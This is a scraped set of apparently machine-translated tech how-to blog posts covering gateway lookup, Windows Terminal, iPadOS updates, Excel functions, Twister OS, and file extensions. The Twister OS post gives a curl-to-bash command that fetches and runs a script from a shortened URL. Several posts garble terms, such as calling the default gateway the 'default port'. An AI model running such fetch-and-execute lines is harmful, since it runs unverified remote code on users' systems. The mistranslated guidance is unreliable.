working with commands in Windows.\nNote : You can find the default port of your computer as described below in any Windows version, including Windows 10, Windows 8, Windows 7, Windows Vista and Windows XP. Instructions for MacOS, Linux, Android and iOS operating systems can be found at the bottom of the page.\nHow to find the default gateway IP address How to find the default gateway IP address in Windows? How to find the default gateway IP address via IPCONFIG? Find your default port on Mac or Linux Locate the default port on iPhone or Android More information about the default port of the computer How to find the default gateway IP address in Windows? Note : The instructions below will only work to find the default gateway IP address on the wireless network, \"basic\" wired network and small business network. Larger networks, with more than one router and simple network hubs, can have multiple ports, so the determination will be more complex.\n1. Open Control Panel, accessible via the Start menu in most versions of Windows.\nTip : If you are using Windows 10 or Windows 8.1, you can shorten this process by using the Network Connections link on the Power User Menu, accessible via the WIN + X shortcut. Go to step 4 (Windows 10) or step 5 (Windows 8) after opening Control Panel.\n2. Click Network and Internet . This link is called Network and Internet Connections in Windows XP.\nNote : You will not see this link if your Control Panel view is set to Large icons, Small icons , or Classic View. Instead, click Network and Sharing Center and go to step 4. In Windows XP, click Network Connections and go to step 5.\n3. In the Network and Internet window:\nWindows 10, 8, 7, Vista: Click the Network and Sharing Center , most likely the link at the top. Only Windows XP: Click the Network Connections link at the bottom of the window and then go to step 5 below. 4. Open the Network Connections screen .\nWindows 10: Click Change adapter options near the center of the window. If you have done this step through Control Panel, click Change adapter settings from the left panel. Windows 8 and 7: Click Change adapter settings from the left panel. Windows Vista: Click Manage network connections from the left panel. Note : Although the content of these links indicates that you are ' changing ' or 'manage' installing the adapter, don't worry, you won't make changes to any Every network installation in Windows runs out. All you do is see the default IP port configured.\n5. Locate the network connection where you want to see the default IP port.\nTip: On most Windows computers, wired network connections may be labeled as Ethernet or Local Area Connection, and your wireless network connection may be labeled as Wi-Fi or Wireless Network Connection.\nNote : Windows can connect to multiple networks at once, so you may see some connections on this screen. Usually, especially if your network connection is active, you can immediately exclude any connections in the Not connected or Disabled state. If you still have trouble determining the connection to use, change the view to Details and note the information in the Connectivity column .\n6. Double-click the network connection.\nThis will open the Ethernet Status, Local Area Connection Status dialog box , Wi-Fi Status or some other Status, depending on the name of the network connection.\nNote : Instead, if you get Properties, Devices and Printers or some other window or message, it means that the network connection you choose does not have a status to show you, meaning that it doesn't is connected to the network or the Internet. Review step 5 and find another connection.\n7. Click Details.\nTip : Only in Windows XP, you will need to click the Support tab before you see the Details . button .\n8. Locate the default IPv4 port location, default IPv6 gateway or other default gateway in the Property column , depending on the type of network you are using.\n9. Locate the IP address listed as a Value for that attribute. This is the default IP address that Windows is using at this time.\nNote: If there is no IP address listed in the Property, the connection you selected in step 5 may not be the Windows address you are using to connect you to the Internet. Make sure this is the right connection.\nTip : Recording your default IP port is a good idea, if you want to avoid repeating these steps the next time you need it.\n10. You can now use the default gateway IP address to troubleshoot the connection you may encounter, to access your router or perform any other tasks that you think of.\nHow to find the default gateway IP address via IPCONFIG? The ipconfig command is a very effective tool for quick access to your default gateway IP address:\n  1. Open Command Prompt.\n2. Execute the following order:\nipconfig  ( Note : There is no distance between 'ip' and 'config', there is no switch or other option).\n3. Locate the value next to Default Gateway.\nDepending on your version of Windows, how many network adapters and connections, and how to configure your computer, you can get something very simple or very complicated.\nWhat you are looking for is the IP address listed as Default Gateway below the title for the connection you are interested in. See step 5 in the above process if you are not sure which connection is important.\n4. You will now know your default port.\nHere is an example of the ipconfig command :\n. Ethernet adapter Ethernet: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::29a0:8d37:e56d:40a7%3 IPv4 Address. . . . . . . . . . . : 192.168.202.146 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.202.2 .  As you can see, the default port for Ethernet connection is listed as 192.168.202.2. This is also what you are looking for, for whatever connection you care about.\n  If there is too much information to consider, you can try executing ipconfig | findstr \"Default Gateway\" instead. It significantly changes the data returned in the Command Prompt window. However, this method is only useful if you know that you only have one active connection because many connections will display their default ports, without any additional context of connecting them to be applied.\nFind your default port on Mac or Linux On MacOS computers, there are two ways to find the default port: Via a graphical program and through the command line.\n  The easiest way to locate the default Mac port is through System Preferences. Click on the Internet and locate the IP address next to the Router.\nAnother way to find the default port of a Mac is to use the following netstat command:\n  netstat -nr | grep default  Execute that command from the Terminal application.\nOn most Linux-based computers, you can display your default IP port by doing the following:\nip route | grep default  Like on a Mac, execute the above command through Terminal.\nLocate the default port on iPhone or Android The easiest way to locate the default port on your phone or tablet, regardless of whether it is iOS or Android, is to visit the http://whatsmyrouterip.com/ website . It will try to probe the network for the default port from the web browser, so it also works on the desktop.\n  Open the link above and see the section called \" Your router's local (private) IP is \" for the router's private IP .\nThis is not the best way to find the default port, but it works fast and usually returns the correct IP address. However, if the IP address is displayed incorrectly, you can check the router's IP address from the network settings on your iPhone, iPad, iPod touch, Android phone or tablet.\nIf you are using an iOS device, go to Settings\u0026gt; Wi-Fi and click ( i ) small next to the network you are connected to. Find the default port next to the Router section .\n  \nThe instructions to find the default port on Android depend a lot on the version you are using.\nMore information about the default port of the computer Unless you change the IP address of your router or computer directly connected to the modem to access the Internet, the default gateway IP address used by Windows will never change.\nIf you still have trouble locating the default port for your computer or device, especially if your ultimate goal is to access the router, you may be lucky to try the default IP address from your home. Produce your router specified.\nCheck NETGEAR's default password list, D-Link, Linksys and Cisco updated on Quantrimang for those IP addresses.\nGood luck!\nSee more:\nHow to determine the device IP address on the local network Instructions on how to determine the IP address on the computer How to check geographical location via IP ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZJ2dlpbCrcCMoJitnaeWxm61z2aYnZyimsC0\n","link":"/post/how-to-find-the-default-gateway-ip-address/","section":"post","tags":null,"title":"How to find the default gateway IP address"},{"body":"By default, Windows opens all command line tools in the old Windows Console environment. However, you can set Windows Terminal as your default Terminal application whenever you launch Command Prompt or PowerShell.\nWhy should you switch to Windows Terminal? When you open Command Prompt or PowerShell on Windows 10, each session starts in a separate window. However, this can cause your Windows desktop to become a cluttered mess with multiple working windows open simultaneously, such as in the illustration below.\n  On the contrary, by default, the Windows Terminal application opens in a tabbed view to make it easier and more scientific to manage command line windows. Alternatively, you can also run PowerShell and CMD in separate tabs.\n  Switching to the Windows Terminal app also gives you access to richer theme customization features, GPU-rendered emoji support, and more customization features…\nSuch features will not appear on the Windows Console. That's why switching the default Terminal application to Windows Terminal is a good idea, and will give you a better experience.\nAdditionally, Windows 11 uses the Windows Terminal application as the default command-line environment to open CMD, PowerShell, and Windows Subsystem for Linux (WSL). Until Windows 11 starts rolling out officially in late 2021, you can start using Windows Terminal as default on your Windows 10 PC now.\nHow to make Windows Terminal the default Terminal application Before you get started, you'll need to download and install the Windows Terminal app here\u0026nbsp;(if you don't already have it on your computer).\nLaunch the Windows Terminal application. In the interface that opens, click the down arrow button and click ' Settings '. Or, you can press Ctrl +, (comma) to directly open the ' Settings ' menu of Windows Terminal.\n  In the Settings window that opens, you can see that ' Default Terminal application ' is being set to ' Windows Console Host (ConHost.exe)' . That means Windows uses the terminal application. ConHost.exe for CMD or PowerShell.\n  Click the drop-down menu for ' Default Terminal application ' and select Windows Terminal from the list.\n  By default, Windows Terminal uses the Windows PowerShell profile when you launch the application.\n  However, you can switch to running a different shell profile by clicking the ' Default profile ' drop-down menu to choose between Command Prompt , PowerShell , Windows PowerShell or Azure Cloud Shell .\n  Click the \" Save \" button to apply the changes you've made.\n  That is all! From now on, whenever you open Command Prompt or PowerShell, Windows will run the Windows Terminal application and you can also customize its appearance.\nWindows Terminal ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuw8inm6ivo2LBpr7MoqWapF2ptaZ5w56dmq2cqXq1sdGmoKeZnGKusbzLopqarJmku26tzZ1koqyjYq%2BmusSfoK2r\n","link":"/post/how-to-make-windows-terminal-the-default-terminal-application-and-its-benefits/","section":"post","tags":null,"title":"How to make Windows Terminal the default Terminal application and its benefits"},{"body":"In addition to updating iOS 13, Apple also introduces users to the new iPad operating system with the name of the newly released iPadOS of Apple. Its basic interface will be similar to iOS for iPad so far with icons displayed outside the home.\nHowever the widgets and both the Dock below will be displayed at the same time. Some great changes are in the way applications are displayed, especially at the same time.\nOn iPadOS, Apple introduced Slide Over, a feature that allows displaying multitasking effects and adding navigation gestures to help users swipe and swipe. Drag and drop between applications is displayed side by side.\nIn addition to the built-in applications, 3rd party applications are supported. Including Word, all of these applications can display at the same time, similar to the Epose feature on mac.\nSince it has not been officially updated, users can update iPadOS so you can update it manually. Instructions to update iPadOS below will help you upgrade iPadOS for iPad.\nHow to turn off Apple TV notifications on iPhone, iPad Instructions for sharing Wi-Fi passwords on iPhone / iPad How to play Hi-Res sound on iPhone or iPad Instructions for updating iPadOS on Windows 1. How to update iPadOS for the first iPad 2. How to update the second iPadOS Note: Before proceeding to upgrade your iPadOS, please back up your data.\n1. How to update iPadOS for the first iPad First, download the firmware of your device at this link. Select IPSW in iOS Download (iOS 13), then choose the model to upgrade to download the firmware.\nYou will then need to download the latest iTunes version. Next download the libimobile file at this link, then extract the libimobile2019-master folder into the C drive .\nNext, rename the ispw file to ios13.ispw and copy the ispw file to libimobile folder that was extracted earlier.\n  Next go to Search menu on Windows and type CMD, right click on Command Prompt and select Run as administrator .\n  Next, type the following two statements:\n cd C: libimobile2019-master   idevicerestore.exe -d ios13.ipsw    Then press Enter and wait to see what the results are.\n  2. How to update the second iPadOS This way is simpler, you also download the latest iTunes version as above. Then download the latest version 3uTools tool at this link.\nThen open 3uTools, plug in your iPad and select Flash \u0026amp; JB, check the Firmware Version is 13beta.\n  In the next step, if you have downloaded the firmware (IPSW) for your model, you can click the Import button next to the Download button. Then select the path to the firmware version you just downloaded.\n  Or not downloaded, you can click Download and wait until download version 13beta iOS to your computer. Then click Flash below to upgrade, remember that in Back Up, please click Back Up Now to back up data on your device.\n  Remember that you should use a laptop to upgrade the iPadOS to avoid being upgraded, then lose your power.\nHopefully, with the above iPadOS upgrade guide, you will experience the latest features on your iPad operating system.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gnL%2BisMRmoKmZlGK8tHnFqKlmoaCWsW67zWaaqKWgqsGmvg%3D%3D\n","link":"/post/how-to-upgrade-ipad-os-for-ipad-on-computer/","section":"post","tags":null,"title":"How to upgrade iPad OS for iPad on computer"},{"body":"One can open this mini laptop and insert it into a 1.8-inch type hard drive from a few dozen to a few hundred GB.\n  The space in the Eee PC series 900 has room for users to add their own HDD or SSD with ZIF plug, SIM card, PCI-e slot to install 3G HSPDA card.\n  The 7-inch Eee PC has been a shame for users because SSDs are too small, ranging from 2 to 16 GB. The 9-inch Eee PC has a larger capacity, up to 20 GB, but people who want to store more are still not satisfied.\nEee PC support motherboard extends many features, such as accepting WiMax, GPS, Bluetooth, more RAM, Wi-Fi 802.11n standard .\nncG1vNJzZmismaXArq3KnmWcp51ktq%2Bv0Z6YrJ1dqMGwvsCgnGabkaWupLXTsmSfp6JiwamxjHKgp5uYYrKmsYypmg%3D%3D\n","link":"/post/increase-storage-capacity-for-the-9-inch-eee-pc/","section":"post","tags":null,"title":"Increase storage capacity for the 9-inch Eee PC"},{"body":"Accessing YouTube to search and watch videos is something most internet users do. There is information that searches for reasons that you do not want others to use your computer to know what you have searched and watched on YouTube.\nYou can clear search history, delete watch history and privacy actions like videos. The following article will help you know how to delete history, set privacy on Youtube.\nClear Youtube search history To delete search history on Youtube, you perform the following steps:\nStep 1: Go to the Youtube page, log in to the YouTube account to delete the search history. On the main interface, select the small icon avatar and select Creator Studio .\n  Step 2: Select Video Manager -\u0026gt; Search History .\n  Step 3: To delete keywords searched on Youtube, select Delete all search history . Click Pause search history to stop updating search history.\n  If you just want to delete some of your search history, check the box before that history and click Delete .\n  In addition to the above, you can also select History on the Youtube homepage interface then select the Search History tab to delete.\nClear Youtube video watch history Step 1: On the main interface of Youtube, select History in the left menu.\n  Step 2: Click Delete all watch history to delete watch history on Youtube, click Pause watch history to stop updating watch history.\n  If you do not want to delete all watch history, you want to delete the watch history, select the X next to the video name to delete.\n  Privacy like operation Step 1: On the main interface of Youtube, select the small icon image and choose Youtube Settings .\n  Step 2: Select Privacy in the left menu and in the Likes and subscriptions box, check the 2 boxes first. Keep all my liked videos and saved playlists private and Keep private all my subscriptions then click Save .\n  Very simple and fast you have deleted search history, delete watch history and set privacy for likes on Youtube. Thus, you can easily control your use of Youtube. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLtuwM5mm56klamybsXOrquumpViwKat0ZyfZqCZqMGwvthmm56klamybsXOrquumpVitaq%2F06ipsg%3D%3D\n","link":"/post/instruction-to-delete-youtube-search-history-delete-youtube-history/","section":"post","tags":null,"title":"Instruction to delete Youtube search history (Delete Youtube History)"},{"body":"The following article introduces you to the INTERCEPT function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the point at which the line will intersect the y-axis by using existing x and y values. Use the function when you want to determine the value of a dependent variable when the independent variable is 0.\n\u0026nbsp;Syntax:  INTERCEPT (known_y's, known_x's)\nInside:\n- known_y's : A set of dependent data.\n- known_x's : A set of independent data.\nAttention:\n- The value of the argument must be a number, name, array or reference containing numbers.\n- If the argument is a reference array containing text values ​​or logic -\u0026gt; these values ​​are ignored, but the value 0 is still counted.\n- If known_y's , known_x's have a different number of data points or contain no data points -\u0026gt; the function returns the # N / A error value .\n- The intersection equation of the regression line is:\n[a = overline y - boverline x]\nInside:\n[b = frac {{sum {left ({x - overline x} right) left ({y - overline y} right)}}} {{sum {{{left ({x - overline x} right)} ^ 2 }}}}]\nAnd x and y are the models AVERAGE (known_x's) and AVERAGE (known_y's).\n- The underlying algorithm used in INTERCEPT and SLOPE is different from the underlying algorithm used in the LINEST function .\n- In case the function returns multiple values ​​-\u0026gt; # DIV / 0 error message\nFor example:\nFind the point where a line will intersect the y-axis with the data in the data table below:\n  - In the cell to calculate enter the formula : = INTERCEPT (C6: C10, D6: D10)\n  - Press Enter -\u0026gt; toss the degree of the data point that a line intersects the y-axis:\n  - Where the number of data points of the two arrays x, y is different -\u0026gt; the function returns the # N / A error value\n  Here, the array y consists of 5 elements, but the array x has only 3 elements -\u0026gt; the number of elements is different.\n- Case 1 of 2 empty array -\u0026gt; function returns error value # N / A\n  Above are instructions and some specific examples when using INTERCEPT \u0026nbsp; function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKuanqikYrO2usKtoKimXam1pnnFrqWcrJmku26%2BxK2sq6ajYsGpsYyppqKmpGKutXnWoaCcoF2ptaZ5y6KlnmWnnrmtecinq56qo5qwtXnToZxmsZGttrR5wbJkrquZo7RuwMeeZJ6wmajBqrrGZq9mmZ6Zerp51Zqjrp2jYnKGfoRxZ15wclqSc3GXaVxxepmjeqbEwp6j\n","link":"/post/intercept-function-the-function-returns-the-point-at-which-the-line-will-intersect-the-y-axis-by-using-the-existing-x-and-y-values-in-excel/","section":"post","tags":null,"title":"INTERCEPT function - The function returns the point at which the line will intersect the y-axis by using the existing x and y values ​​in Excel"},{"body":"The following article introduces you to MIN - 1 of the functions in the group of statistical functions that are very popular in Excel.\n  Description: The function returns the smallest value in the given numbers.\nSyntax:  MIN (number1, [number2], .)\nInside:\n- number1, [number2], .) Are the values ​​you want to find the median, where number1 is the required parameter, other values ​​are optional and contain up to 255 number parameters .\nAttention:\n- The value of the argument must be a number, name, array or reference containing numbers.\n- Logical or text values ​​when typing directly into the argument list -\u0026gt; these values ​​are still counted.\n- If the argument is a reference array containing text values ​​or logic -\u0026gt; these values ​​are ignored, but the value 0 is still counted.\n- If the arguments do not contain numbers -\u0026gt; the function returns the value 0.\n- Arguments that are text or error values ​​cannot be converted -\u0026gt; cause errors in the function.\n- In case you want to calculate both text values ​​and logic -\u0026gt; use MINA function .\nFor example:\nCalculate the minimum value of the number values ​​as described in the following data table:\n  - Calculate the minimum value in the number values . In the cell to calculate enter the formula : = MIN (D6: D11)\n  - Press Enter -\u0026gt; minimum value is:\n  - Calculate the smallest value in the numbers number and 25 -\u0026gt; enter the formula: = MIN (D6: D11,25) -\u0026gt; press Enter -\u0026gt; the smallest value is:\n  - Where the values ​​are all text or logical values ​​-\u0026gt; the function returns the value 0, and ignores those values:\n  Above are instructions and some specific examples when using the MIN function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kuqq6jJ%2Bsp5uknryvedOhnGaepaOwtbXOp2SrnaSqv6%2B%2FjK2fnmWjoq6tuMSsq2aukaHCpnnIp2StoJVitKrCxKdkp62dl7Kzv4yipWadqJiyrQ%3D%3D\n","link":"/post/min-function-the-function-returns-the-smallest-value-in-the-given-numbers-in-excel/","section":"post","tags":null,"title":"MIN function - The function returns the smallest value in the given numbers in Excel"},{"body":"In this article, TipsMake.com will evaluate and compare versatile mini drill machines from 3 brands Bosch, Hitachi and Makita to help you easily choose for yourself the most suitable device!\nMini drill is a type of drill with super compact design, when used, you can easily hold the device in the palm for convenient and easy operation. The mini drill has the same operation as other drilling machines, but with smaller capacity, usually only 120-220W. However, this machine is still capable of performing a variety of different tasks such as performing drilling, cutting on a variety of materials with moderate thickness, performing milling, grinding, sculpting 2D, 3D . So it is also popular with many people at home. Currently there are many brands in the market that produce multi-purpose mini drill machines, including names like Bosch, Hitachi, Makita. Let's see what is the brand that deserves 'rice bowl money'!\nQuick review of content Detailed evaluation of the versatile mini drill Bosch, Hitachi and Makita which is the best? Trademark Design Quality and price So what is the best mini multifunction drill machine between Bosch, Hitachi and Makita?  Detailed evaluation of the versatile mini drill Bosch, Hitachi and Makita which is the best? Trademark Bosch mini drill is a product from Bosch brand, Germany, was founded in 1886. Bosch tool products and tools are manufactured from high-quality materials and tested in etching conditions. harshness such as cross-mountain tunnels, drilling rigs, overhead railways . should always ensure good quality, durable operation in all circumstances.\nHitachi mini drill is a product from Hitachi, Japan brand, established in 1910. The equipment manufactured by Hitachi is always appreciated by consumers for quality, durability, especially applied. Use leading modern and advanced technologies to provide the best experience for users.\nMakita mini drill machine is a product from Makita brand, Japan, established in 1915. Makita's products are manufactured on modern technology lines from super durable materials, ensuring to bring the main accurate, stable operation and long service life for the device.\n  Bosch GBM 320 drilling machine has a capacity of 320W and an idle speed of 4,200 rpm.\nDesign As a small-sized portable drill series, Bosch, Hitachi and Makita mini drills all have the advantage of being designed with a compact design, the majority of the machine is under 2kg, so users can easily handle and operate with One hand, no hand fatigue when used.\nThe case also carries the typical tones of each brand such as blue - red Bosch, green - black of Hitachi and blue - black of Makita so that users can choose according to their preferences.\n  Drilling machine 235W Hitachi FD10SA can drill wood, iron drill.\nQuality and price The versatile mini drill shells from Bosch, Hitachi and Makita are made of high quality plastic material, with high friction, good anti-slip, ensuring absolute safety when operating the device. The control buttons on the camera body are also very sensitive, just need to press lightly to use so it does not cause hand pain.\nThe models are also very diverse in terms of capacity, no-load speed, torque, drilling diameter on different material surfaces . and can be used directly with grid or battery should be can meet the diverse needs of users.\nIn particular, although under the mini drilling machine series, the machines of Bosch, Hitachi and Makita have quite a large capacity, so it will help to perform tasks such as drilling, cutting . more quickly and efficiently.\nYou can track the details of the brands of mini drilling machines Bosch, Hitachi, Makita in the following table :\nBosch multifunction mini drill\nHitachi multifunction mini drill\nMakita versatile mini drill machine\nCapacity\n320 - 600W or 18V battery - 2AH\n235 - 460W\n450W or 10.8V - 1.3AH battery\nSpeed ​​does not load\n1,450 - 4,200 rpm\n2,300 - 2,800 rpm\n800 - 2,400 rpm\nDrill diameter of iron or steel\n6.5 - 13mm\n10mm\n10mm\nWood drilling diameter\n13 - 30mm\n18 - 25mm\n12 - 25mm\nWeight\n1 - 1,7kg\n1.1 - 2.8kg\n1,2 - 1,5kg\nReference price\n800,000 - 5,000,000 VND\nRefer to the most preferential price here 800,000 - 1,400,000 VND\nRefer to the most preferential price here VND 1,500,000 - 5,000,000\nRefer to the most preferential price here Guarantee\n6 months\n6 months\n6 months\n Makita DA331DWE battery operated drill rigs use convenient rechargeable batteries, not entangled when operating.\nSo what is the best mini multifunction drill machine between Bosch, Hitachi and Makita? In general, both Bosch, Hitachi and Makita are old brands from Germany and Japan, so you can be assured of technology and durability when buying multi-purpose mini drill from these brands.\nThe specifications of the machine are not too different from each other, so you can base on the price and design to choose the product that best suits your budget as well as your preferences.\nHopefully, the above information will help you better understand the mini drilling machine which is highly appreciated in the market today and can choose for yourself the best product.\nYou can order online on META.vn website or call Hanoi hotline 024.35.68.69.69 - TP. HCM 028.38.33.33.66 for advice and support to buy the fastest genuine drill with the cheapest price!\nSee more :\nExperience choosing the best battery drill Top 5 most versatile portable mini drills worth buying today Top 4 best 18V battery drills today ncG1vNJzZmismaXArq3KnmWcp51kurC%2F02atnqqjlsGquMRmpKKmmWKxs7XLpWSmmZOdtq%2Bx0maZqKuTnXqptdOamqGhXaKurLXTmg%3D%3D\n","link":"/post/most-versatile-mini-drill-machines-bosch-hitachi-makita/","section":"post","tags":null,"title":"Most versatile mini drill machines: Bosch, Hitachi, Makita?"},{"body":"Samsung has just redesigned the Series 3 Chromebox model to run Chrome OS, with a sleeker exterior.\nAccording to SlashGear on 3.1, this model is codenamed XE300M22-B01US, keeping the configuration as compared to the first version announced by Samsung in May 2012, including Intel Celeron B840 1.9 GHz processor, 4 GB RAM, 16 GB SSD and integrated Intel HD graphics.\n  Old design of the machine .\n  and new design\nSamsung's website does not mention a device with a Bluetooth connection. However, according to some UK retailers, the device will be equipped with Bluetooth 3.0.\nThe difference of the new Series 3 Chromebox is that it has a white plastic case, which looks more rounded than the previous version. In addition, Samsung has added a small cover to cover the connection ports on the front.\nIn the immediate future, this version will be sold in the UK market and then to the US market.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWimrGmv8igpZ6cXam1pnnSnqminaNigG6vx6umpp2SpMU%3D\n","link":"/post/samsung-redesigned-the-series-3-chromebox/","section":"post","tags":null,"title":"Samsung redesigned the Series 3 Chromebox"},{"body":"Designed for the Raspberry Pi, Twister OS offers an array of alternative themes that mimic Windows and macOS. Here's how to grab Twister OS, install it, and turn a $ 50 Raspberry Pi into a $ 1000 Mac.\nWhat is Twister OS? A successor to Raspbian 95, Raspbian XP and other themed Pi operating systems, Twister OS is based on the Raspberry Pi OS and features the XFCE desktop environment.\nA variety of desktop themes, inspired by Windows and Mac operating systems, are pre-installed. So you'll find Windows 95, XP, Vista, and 7 themes, along with the Mac-inspired iRaspbian.\nTwister OS also has an administration utility, overclocking tool, pre-installed media software (including Kodi), and an Android remote control tool.\nTwister is best installed on the Raspberry Pi 4, although it can run on the Raspberry Pi 3B +. You'll need a larger than usual microSD card - 32GB is a good choice.\nInstall Twister OS on the Pi SD card To install Twister OS, first head over to the website and download the ISO file.\nDownload Twister OS (Free) here Note that the direct download option is a bit slow, even on fast connections. Instead, you may prefer to rely on BitTorrent links.\nOnce downloaded, the ISO image will need to be extracted from the XZ archive. If you are using a Windows desktop, it can be extracted using the 7-Zip utility from www.7-zip.org. Finally, you will need a tagging tool like BalenaEtcher.\nInstalling Twister OS is as simple as installing any other operating system on the Raspberry Pi.\nA first look at Twister OS When starting up the Raspberry Pi, you will have your first look at Twister OS. Since it's based on the Raspberry Pi OS, Twister OS includes all of the same pre-installed tools.\n  Twister OS also offers a number of improvements. There's a Commander Pi tool for overclocking, a Kodi media library player, and even a tool for remote access to an Android device. An optimized Chromium version is offered for Netflix streaming, and you'll find RetroPie pre-installed.\nIn addition, there is a system administration tool, PiKISS. This is a utility that simplifies software installation on a Raspberry Pi. It comes with scripts to keep software installation streamlined, requiring little user input.\nNext up is ThemeTwister. This is what Twister OS is all about and you'll find the icon to launch it on your desktop.\nTurn your Raspberry Pi into a Windows PC ThemeTwister is very easy to use. It presents a simple menu to choose a new look for the Twister OS desktop, prompting you to reboot. After rebooting, the new look will be applied.\n  For example, if you want to add a Windows-style interface to your Raspberry Pi, then you should choose one of the following options:\nRaspbian95 RaspbianXP Nighthawk RaspbianX (Note that there are no Windows 8-inspired options.) Each new theme requires a reboot, so press Enter when prompted to confirm the choice.\nWith the newly applied interface, you may consider installing new, suitable software. For example, with the Raspbian 95 or RaspbianXP interface, you can add games in DOSBox. Then you can enjoy some retro gaming action in Windows DOS prompt emulator.\nLikewise, there's some support for Steam if you like the Nighthawk or RaspbianX look. It is completely unsuitable for Windows AAA games but will allow you to run various indie titles. However, these options are available on all themes.\n  Take a closer look at each theme. You will notice that considerable effort has been made to convince you that you are using Windows. For example, Windows XP's RaspbianXP style has actual tooltips for the main toolbar buttons.\nMake the Pi look like a Mac Two macOS inspired themes are included in Twister OS. iRaspbian-Light and iRaspbian-Dark do exactly what you would expect, offering macOS visual-style daylight and night-change buttons, complete with familiar dock.\n  Selecting these again involves launching ThemeTwister from the desktop, clicking on the desired theme and restarting.\nAs before, significant details have been applied to create a realistic macOS experience.\nPiKISS One of the most important additions to the great Linux software population of the past few years is PiKISS. Designed for Raspberry Pi systems, this is a collection of scripts directed at the Terminal menu for almost any project instance.\n  Whether you need to set up your Pi with CUPS for printer management, web setup or FTP server, add some games running natively on your Raspberry Pi without an emulator or really want an emulator to enjoy old games. Favorite background dictionary, lots of such scripts are available in PiKISS.\nIt's a great piece of software that you should have on any Raspberry Pi operating system. If you need to install PiKISS on other systems, use it\ncurl -sSL https://git.io/JfAPE | bash PiKISS comes pre-installed on Twister OS.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWawqK2iYr%2Biv8%2BbnKuqqWK9qnnIp6uoZZFiuqKvjKipZqiTYsSqwMdmq7Cho6mys3nOrA%3D%3D\n","link":"/post/turn-your-raspberry-pi-into-a-mac-or-pc-with-twister-os/","section":"post","tags":null,"title":"Turn your Raspberry Pi into a Mac or PC with Twister OS"},{"body":"\u0026nbsp;Besides, Web design software is quite important and if you are wondering about the right web design software for you, please refer to the following article.\n1. Adobe Photoshop   In terms of graphics processing, images, Adobe Photoshop is a name \"hard to beat\". For web interface design users, the priority is still to know and master Photoshop and then Corel or AI . Photoshop is favored by its versatility and powerful graphics processing engine. On Photoshop is also equipped with a feature called Workspace that you can quickly switch to the web designer workspace with the tools and utilities for the job.\n2. Adobe Xd   For professional UI / UX website designers , Adobe Xd is an indispensable \"companion\" on their creative path. Adobe Xd focuses on interface design on websites such as creating functional button templates, creating background images for websites. Is a tool specializing in designing interface Adobe Xd can be used to design for web interface and app interface on phones. In the Adobe collection, Photoshop and Illustrator are the \"golden faces\" in the field of web design but Adobe Xd still has outstanding advantages such as:\n- Simple interface, easy to use due to few tools (tool). - The interface is similar to X-code and users can easily get acquainted if they have ever used X-code in programming. - Can be shared online with others when you are done designing products. - Open multiple artboard boards at the same time, convenient for design. 3. Figma   With Figma , they have a cross-platform web design software (Windows, MacOS, Web) and can complete their products anytime and anywhere through the account on Figma. In addition, Figma also has the following outstanding advantages:\n- Design with a group of people, many users participate in a project and contribute their design and editing on Figma .\n- The data system is stored on Figma 's server so you can access Figma's account and complete the project on Figma anytime and anywhere with only the computer.\n- Vector format design helps you create images with high quality, no break when zooming and you can export popular image formats such as SVG, PNG, JPG . to work on applications. use another design.\n4. Google Web Designer   Google Web Designer is a free tool from Google that helps web designers create and create forms for advanced HTML5-based websites. Besides design features, Google Web Designer also supports code if you need to design a complete website and try running on it. Some salient features on Google Web Designer are:\n- Support 3D object design and can rotate in the direction that the user wants. - Create effects for objects quickly and easily with many types of effects available. - Support both design and code to help you work quickly without having to switch back and forth for many different software. - Easily build workflow for advertising on the site. 5. Marvel   Marvel is an online web design platform that makes it easier to design a UI for your website. With the ability to create high-quality wireframes, interactive prototypes, and testing on its products, designers can make good use of what's on Marvel and save time instead. Use different design software to complete their product.\nMarvel homepage here\u0026nbsp;\nWith the web interface design software in the article, your work will be a lot easier thanks to the tools above. Find, download and experience the software that best suits your needs and abilities.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6a%2F02aunppdnru1sdGfmJydXZmytLXGp2Ssp5apxKK%2BxA%3D%3D\n","link":"/post/best-web-interface-design-software/","section":"post","tags":null,"title":"Best web interface design software"},{"body":" File extensions tell your computer what kind of file it is and what types of software programs on your computer should open the file. The easiest was to change a file's extension is to save the file as a different file type from within a...\nMethod 1of 4:\nChanging a File Extension in Nearly Any Software Program  Open a file in its default software program.\n  Click the File menu, and then click Save As.\n  Choose a location for the file to be saved.\n  Name the file.\n  In the Save As dialog box, look for a dropdown menu labeled Save As Type or Format.\n  Choose a new file type for the file from the dropdown menu.\n  Click the \"Save As\" button. The original file will still be open in the software program.\n  Find the new file where you chose to save it.\n Method 2of 4:\nMaking File Extensions Visible on Windows  Open the Control Panel. Click the Start menu, and then click Control Panel. If you're using Windows 8, click here.\n  Click Appearance and Personalization. You xan find this in the Control Panel. On Windows 8, in the ribbon, click Options.   Click Folder Options.\n  Click the \"View\" tab, in the Folder Options dialog box.\n  Make file extensions visible. In the Advanced settings list, scroll down until you see Hide extensions for known file types. Click the box to uncheck it.\n  Click on Apply, and then click OK.\n  Open the Windows Explorer file browser to see the file extensions.\n Method 3of 4:\nMaking File Extensions Visible on Windows 8  Open Windows Explorer.\n  Click the View tab.\n  Check the File name extensions box in the View/Hide section.\n  Observe the location of file extensions. When you open a new Windows Explorer window, file extensions are visible.\n Method 4of 4:\nMaking File Extensions Visible on Mac OS X  Select a Finder window or open a new Finder window. You can also click the Desktop to switch to the Finder.\n  Click the Finder menu. Next, click Preferences.\n  Click \"Advanced\" in the Finder Preferences window.\n  Click the Show all filename extensions box to add a check.\n  Close the Finder Preferences window.\n  Open a new Finder window. The files will now show their file extensions.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyaZJ%2BhnJp6psTTnqWsoZ%2Bj\n","link":"/post/how-to-change-a-file-extension/","section":"post","tags":null,"title":"How to Change 